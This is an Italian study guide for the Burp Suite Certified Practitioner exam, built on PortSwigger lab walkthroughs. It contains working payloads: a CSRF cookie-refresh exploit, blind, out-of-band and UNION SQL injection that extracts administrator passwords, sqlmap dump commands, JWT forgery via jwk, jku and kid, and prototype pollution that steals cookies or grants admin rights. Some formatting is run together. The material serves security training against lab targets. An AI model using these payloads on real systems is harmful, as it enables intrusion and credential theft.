>Per bypassare il blocco dei popup e indurre la vittima a cliccare sulla pagina, il popup si apre solo dopo che la vittima ha cliccato, con il seguente JavaScript. Il codice JavaScript dell'exploit prima aggiorna la sessione della vittima forzando il suo browser a visitare `/social-login`, poi invia la richiesta di modifica dell'email dopo una breve pausa. Consegna l'exploit alla vittima.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://TARGET.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
PortSwigger Lab: SameSite Lax bypass via cookie refresh
Logica di reset password difettosa
Password corrente
Token di password sensibili al tempo
Se la funzionalità di reset della password dell'applicazione è difettosa, questa vulnerabilità può essere sfruttata per identificare account validi o ottenere il token di reset della password. Questo può portare a identificare account utente validi o a un'escalation dei privilegi.
Questo è il tipo di vulnerabilità che non richiede che un utente attivo sull'applicazione interagisca con l'exploit, e che non richiede alcun clic dell'utente su un link o alcuna interazione. Prendi nota delle vulnerabilità che non richiedono un utente attivo sull'applicazione per l'esame BSCP, poiché ciò significa che nella fase successiva dell'esame è possibile utilizzare, ad esempio, altri link di phishing interattivi inviati alla vittima.
Identifica nel
source codedella pagina/forgot-passwordche lo username è un campo nascosto.

Sfrutta la richiesta POST eliminando il parametro
temp-forgot-password-tokensia nell'URL che nel corpo della richiesta. Cambia il parametro username incarlos.

PortSwigger Lab: Password reset broken logic
Identifica che la funzionalità di cambio password non richiede il parametro
current-passwordper impostare una nuova password, e l'utente di cui verrà cambiata la password è determinato dal parametro POSTusername=administrator
Nei lab di PortSwigger ti vengono fornite le credenziali perwiener:peter, il che simula, nella fase 1 dell'esame, l'accesso ottenuto come utente di basso livello. Nell'esame, questa vulnerabilità di reset della password è un esempio di come sia possibile, senza interazione da parte di un utente attivo, elevare i propri privilegi fino all'accesso come admin.
Intercetta la richiesta
/my-account/change-passwordpoiché il tokencsrfè un valore casuale monouso, impostausername=administratore rimuovi il parametrocurrent-password.

PortSwigger Lab: Weak isolation on dual-use endpoint
Il sito di destinazione utilizza i timestamp per generare un URL del token di reset della password basato su hash.
Inviando richieste parallele e forzate di reset della password per due utenti diversi nello stesso momento,
si otterranno token corrispondenti duplicati, perché lo stesso timestamp viene utilizzato dal backend per generare i token di reset.
Il nostro utente
carlosriceve l'URL del token di reset nella propria email e poi modifica il nome nell'URL per farlo corrispondere all'utente vittimaadministrator.

Riferimento: appunti di studio di API University e dei PortSwigger Labs
Blind Time Delay
Blind SQLi
Blind SQLi no indication
Blind SQLi Conditional Response
Oracle
SQLMAP
Non-Oracle Manual SQLi
Visual error-based SQLi
HackTheBox CPTS SQLi Fundamentals
Le vulnerabilità di SQL injection basate sugli errori (error based) o cieche (blind) consentono di utilizzare le query SQL in un'applicazione per estrarre dati o credenziali di accesso dal database. SQLMAP viene utilizzato per accelerare l'exploit e recuperare le informazioni sensibili.
Identifica la SQLi aggiungendo un doppio apice (") o un apice singolo (') ai parametri web o ai cookie di tracciamento; se questo rompe la sintassi SQL provocando una risposta con messaggio di errore, allora è stata identificata una SQL injection positiva. Se non viene osservato alcun errore o messaggio condizionale, testa i payload di Time delays per SQL injection cieca.
Esempi di cheat sheet per SQL Injection

La SQL injection cieca con time delays è difficile da identificare; il fuzzing richiede ipotesi informate (educated guessing), come mi ha insegnato anche OffSec in OSCP. Il payload riportato di seguito eseguirà un'espressione CASE condizionale per ritardare la risposta di 10 secondi se viene identificata una SQL injection positiva.
Identifica la vulnerabilità SQLi. Nell'Esame pratico Burp Stage 2 i filtri di ricerca avanzata sono vulnerabili a
PostgreSQL. Ho trovato che conSQLMAPè complicato identificare e sfruttare la vulnerabilità dell'esame pratico nella ricerca avanzata. Sfruttamento manuale del time delay dell'SQL injection nell'Esame pratico qui.```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--
>[Codificato in URL](https://www.urlencoder.org/) `PostgreSQL` payload.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--
Determina quanti caratteri sono nella password dell'utente amministratore. Per farlo, incrementa il numero dopo il controllo condizionale
>1.```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

>Utilizzando l'attacco CLUSTER Bomb per rieseguire l'attacco per ogni permutazione delle posizioni dei caratteri nella password e determinare il valore del carattere.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Usando il tipo di attacco CLUSTER bomb con due payload, il primo per la lunghezza della password
1..20e poi il secondo usando caratteria..ze numeri0..9. Aggiungi la colonna Response Received ai risultati dell'attacco Intruder per ordinare e osserva il ritardo di10secondi o più come risposta positiva.

PortSwigger Lab: Iniezione SQL cieca con ritardi temporali e recupero di informazioni
Nell'esame pratico Burp, nella fase 2, l'iniezione SQL viene effettuata non usando l'apice singolo
'ma usando un punto e virgola;e poi codificandolo nell'URL come%3B.```SQL %3BSELECT+pg_sleep(7)--

>Con un attacco Intruder CLUSTER bomb la password può essere estratta in un unico attacco con due posizioni di payload nel payload qui sotto.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--
La Fase 3 del portale admin dell'esame di pratica Burp richiede lo sfruttamento di un valore di cookie deserializzazione non sicura.
Il target è vulnerabile all'esfiltrazione di dati out-of-band tramite query di sfruttamento Blind SQL. In questo caso il cookie trackingID. Di seguito è riportata una combinazione di payload di SQL injection e XXE per sfruttare la vulnerabilità e inviare la password dell'amministratore come richiesta DNS al servizio collaborator.```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--

[PortSwigger Lab: Blind SQL injection with out-of-band data exfiltration](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)
>Il payload SQL qui sopra può essere utilizzato anche per estrarre la password dell'amministratore per la sfida di questo [PortSwigger Lab: Blind SQL injection with conditional errors](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors).
### Blind SQLi senza indicazioni
>Inserire un apice singolo alla fine del cookie ```trackingid``` o del parametro di ricerca `/search_advanced?searchTerm='` può restituire una risposta `500 Internal Server Error`. Fai un'ipotesi ragionata: utilizzando il payload blind SQLi qui sotto e combinandolo con la tecnica XXE di base, si effettua una chiamata al server di collaborazione ma non viene esfiltrato alcun dato.```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

Payload SQLi aggiuntivo con XML come riferimento con
||l'operatore di concatenazione SQL per concatenare due espressioni che valutano due tipi di dati carattere o un tipo di dati numerico e fare un po' di offuscamento.``` '||(select extractvalue(xmltype('%fuzz;]>'),'/l') from dual)||'
[OAST - Test di sicurezza delle applicazioni out-of-band](https://portswigger.net/burp/application-security-testing/oast)
[Laboratorio PortSwigger: Blind SQL injection con interazione out-of-band](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)
### Risposta condizionale Blind SQLi
>Questa blind SQL injection viene ***identificata*** da una piccola differenza di messaggio nelle risposte. Quando si invia una query SQL vera e valida, la risposta contiene la stringa ```Welcome back```. Una query SQL falsa o non valida non contiene il messaggio condizionale nella risposta.```
' AND '1'='1
Istruzione SQL falsa per identificare il messaggio condizionale non presente nella risposta.``` ' AND '1'='2
>Determina quanti caratteri ci sono nella password dell'utente amministratore. Per fare ciò, modifica il valore dell'istruzione SQL in and e, nella scheda **Impostazioni** di intruder, nella sezione "Grep - Match", cancella le voci esistenti nell'elenco e poi aggiungi il valore ```Welcome back``` per ***identificare*** la condizione vera.```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
Il passo successivo è testare il carattere in ogni posizione per determinarne il valore. Questo comporta un numero molto maggiore di richieste.``` ' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

>In alternativa, utilizza un attacco **CLUSTER Bomb** impostando **due** posizioni di payload: la prima per la posizione del carattere con un payload di numeri ```1..20``` e la seconda posizione, utilizzando caratteri alfabetici e numerici; questo itererà attraverso ogni permutazione delle combinazioni di payload.

[Laboratorio PortSwigger: Iniezione SQL cieca con risposte condizionali](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)
### Oracle
>Identificata l'iniezione SQL aggiungendo una **virgoletta singola** alla fine del valore del parametro `category` e osservando la risposta `500 Internal Server Error`.
>Recupera l'elenco delle tabelle nel database Oracle:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
Payload Oracle per recuperare i dettagli delle colonne nella tabella.``` '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--
>Payload Oracle per recuperare gli username e le password dalla tabella Users_XXX.```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--
PortSwigger Lab: attacco SQL injection, elenco dei contenuti del database su Oracle
Nell'app dell'esame pratico PortSwigger identifichiamo la SQLi nella funzione di ricerca avanzata aggiungendo un apice singolo e la risposta risulta in
HTTP/2 500 Internal Server Error.
Ecco i miei appunti di studio HackTheBox CPTS sugli esempi di SQLMAP per bypassare i meccanismi di protezione WAF primitivi. SQLMAP Essentials - Cases
Dopo alcuni test con le versioni di SQLMAP
1.7.2#stablee1.6, ho scoperto che entrambe sono in grado di sfruttare l'esame pratico PortSwigger. Walkthrough di bmdyy che svolge l'esame pratico usando SQLMAP come riferimento per i parametri utilizzati.
Discussione sul forum PortSwigger - SQLMAP
Ho svolto l'esame pratico e sono riuscito a sfruttare la SQLi usando il payload qui sotto.``` sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net'
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7'
-H 'accept-language: en-US,en;q=0.9'
-H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes'
-H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer='
-H 'sec-fetch-dest: document'
-H 'sec-fetch-mode: navigate'
-H 'sec-fetch-site: same-origin'
-H 'sec-fetch-user: ?1'
-H 'upgrade-insecure-requests: 1'
-H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36'
-p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5

>Questo è anche un buon punto di partenza con SQLMAP per ***identificare*** ed estrarre dati da una SQL injection sensibile basata su errore e ritardo temporale nei filtri di ricerca avanzata dell'esame.```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

SQLMAP DBS per ottenere i database.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs
>Utilizza SQLMAP per eseguire il dump delle tabelle identificate dal database `public`.```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables
Continua a usare la tecnica
Edi SQLMAP per ottenere il contenuto diusers.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump
### Non-Oracle SQLi manuale
>Attacco SQL injection UNION, determinando il **numero di colonne** restituite dalla query.```SQL
'+UNION+SELECT+NULL,NULL--
Determinato che vengono restituite due colonne. Trovare una colonna contenente
text, da utilizzare per riflettere le informazioni estratte.```SQL '+UNION+SELECT+'fuzzer',NULL--
>Successivamente ***identificando*** un elenco di **tabelle** nel database.```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
OPZIONALE: Recupera i dati da altre tabelle, usa il codice qui sotto come payload per recuperare il contenuto della tabella
users.```SQL '+UNION+SELECT+username,+password+FROM+users--
>Recupera i nomi delle **colonne** nella tabella ***users***.```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--
Ultimo passo è scaricare i dati dalle colonne username e password.```SQL '+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--
>**EXTRA:** Se hai solo una colonna da cui estrarre dati testuali, concatena più valori in un singolo campo di output riflesso usando i caratteri di sintassi SQL ```||``` del database.```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

Lab PortSwigger: attacco SQL injection, elenco dei contenuti del database su database non Oracle
Aggiungendo una virgoletta singola alla fine del valore del cookie
TrackingId, possiamo identificare e confermare l'SQL Injection in base al messaggio nella risposta.

I due payload convalidano che il record administrator è il primo record, e poi recuperano la password per l'account Administrator dalla tabella
userdel database, dalle colonneusernameepassword.``` TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;
TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;
>A causa del limite di lunghezza del valore del cookie, il payload viene accorciato utilizzando `limit 1` e il valore effettivo del cookie viene sostituito con una semplice lettera `x`. La SQL injection utilizza la [funzione CAST](https://portswigger.net/web-security/sql-injection/blind).

[Lab PortSwigger: SQL injection basata su errori visibili](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)
-----
## JWT
[Bypass JWT tramite JWK](#manual-sqli)
[Segreto debole JWT](#jwt-weak-secret)
[Header kid di JWT](#jwt-kid-header)
[Header jku arbitrario di JWT](#jwt-arbitrary-jku-header)
>I JSON web token (JWT) vengono utilizzati per inviare dati JSON firmati crittograficamente e sono più comunemente usati per inviare informazioni ("claims") sugli utenti come parte dell'autenticazione, della gestione delle sessioni e del controllo degli accessi.
### Bypass JWT tramite JWK
>Lo scanner Burp ***identifica*** la vulnerabilità nel server come **supporto dell'header JWK autofirmato per JWT**. È possibile sfruttarla attraverso un controllo non riuscito dell'origine della chiave fornita.
>**jwk (JSON Web Key)** - Fornisce un oggetto JSON incorporato che rappresenta la chiave.
>Passaggi di sfruttamento del bypass dell'autenticazione tramite iniezione dell'header jwk:
1. Nuova chiave RSA
2. Nella richiesta del payload JWT, cambia il valore del **sub claim** in administrator
3. Seleziona Attack, quindi seleziona **Embedded JWK** con la chiave RSA appena generata
4. Osserva che un parametro ```jwk``` ora contiene la nostra chiave pubblica; l'invio della richiesta comporta l'accesso al portale admin

[Lab PortSwigger: bypass dell'autenticazione JWT tramite iniezione dell'header jwk](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
### Segreto debole JWT
>Forza bruta della chiave di firma JWT debole utilizzando `hashcat`.```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
Il risultato di Hashcat fornisce il segreto, da utilizzare per generare una chiave di firma contraffatta.
Bypass dell'autenticazione JWT di PortSwigger tramite chiave di firma debole
Meccanismo basato su JWT per la gestione delle sessioni. Per verificare la firma, il server usa il parametro
kidnell'header JWT per recuperare la chiave pertinente dal proprio file system.
Genera una nuova chiave simmetrica e sostituisci la proprietàkcon il byte nullo in base64AA==, da utilizzare quando firmi il JWT.
kid (ID della chiave) - Fornisce un ID che i server possono usare per identificare la chiave corretta nei casi in cui ci sono più chiavi tra cui scegliere.
JWS``` { "kid": "../../../../../../../dev/null", "alg": "HS256" }
>Payload```
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1673523674
}

Laboratorio PortSwigger: bypass dell'autenticazione JWT tramite path traversal nell'header kid
Lo scanner Burp ha identificato una vulnerabilità indicando che l'applicazione sembra fidarsi dell'header
jkudel JWT trovato nel punto di inserimento manuale. Ha recuperato una chiave pubblica da un URL arbitrario fornito in questo header e ha tentato di usarla per verificare la firma.
jku (JSON Web Key Set URL) - Fornisce un URL dal quale i server possono recuperare chiavi contenenti la chiave corretta.
Passaggi dell'exploit per caricare un JWK Set malevolo, quindi modificare e firmare il JWT:
{ "keys": [ ] }.[ paste ].kid della chiave RSA generata nel valore dell'header kid del JWT della richiesta /admin.jku al valore dell'URL del server di exploit https://exploit-server.net/exploit.sub in administrator./admin in Repeater, in fondo alla scheda JSON Web Token, clicca su Sign.RSA signing key generata nei passaggi precedenti.
Il server di exploit che ospita il contenuto della chiave pubblica JWK.```JSON { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009", "n": "749eJdyiwAYYVV F8tsQ_zu23DhdoePay3JlYXmza9DWDw" } ]}

[PortSwigger Lab: bypass dell'autenticazione JWT tramite iniezione dell'header jku](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
-----
## ProtoType Pollution
>L'attaccante aggiunge proprietà arbitrarie ai prototipi degli oggetti JavaScript globali, che vengono ereditate dagli oggetti definiti dall'utente e portano a XSS DOM lato client o all'esecuzione di codice lato server.
[Client-Side Proto](#client-side-proto)
[Server-Side Proto](#server-side-proto)
[Dom Invader: Abilitare Prototype Pollution](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#enabling-prototype-pollution)
### Client-Side Proto
>Un target è vulnerabile a XSS DOM tramite la prototype pollution lato client. **[DOM Invader](#dom-invader)** ***identificherà*** il gadget e, utilizzando un payload ospitato, eseguirà phishing rivolto alla vittima e ruberà il suo cookie.
>Nella sezione Body del server di exploit, ospita un exploit che reindirizzi la vittima a un URL dannoso.```html
<script>
location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

L'immagine sopra mostra la richiesta di phishing Deliver to Victim che viene inviata.
PortSwigger Lab: Prototype pollution lato client nelle librerie di terze parti

Per identificare la Proto pollution, inserisci quanto segue in una richiesta POST JSON quando aggiorni le informazioni del profilo utente autenticato con un ruolo a bassi privilegi.
Guarda il video di istruzioni di Trevor TJCHacking su PrivEsc tramite prototype pollution lato server.```JSON "proto": { "foo":"bar" }

>Osserva la proprietà ```isAdmin``` e reinvia la richiesta POST di aggiornamento account con il payload ```__proto__``` qui sotto per elevare il nostro ruolo di accesso ad Amministratore.```JSON
"__proto__": {
"isAdmin":true
}
PortSwigger Lab: Escalation dei privilegi tramite prototype pollution lato server
Exploiting a mass assignment
API Reset Password Parameter Pollution
API che esegue una richiesta GET e subito dopo una richiesta POST; nella richiesta POST nota parametri JSON aggiuntivi nel corpo della risposta, che indicano campi di parametri nascosti. Aggiungere campi nascosti come
{"admin":true}può elevare l'accesso a utenti con privilegi superiori o ottenere informazioni sensibili sull'utente.
Nell'esercizio di laboratorio qui sotto, il sito e-commerce ha un parametro di sconto e aggiungerlo con valore 100 consente di rendere gratuito il prodotto al momento del checkout.

Escalation dei privilegi utilizzando parametri nascosti degli endpoint API nelle richieste HTTP con verbi POST o PATCH.```json { "username": "carlos", "email": "[email protected]", "isAdminLevel": true }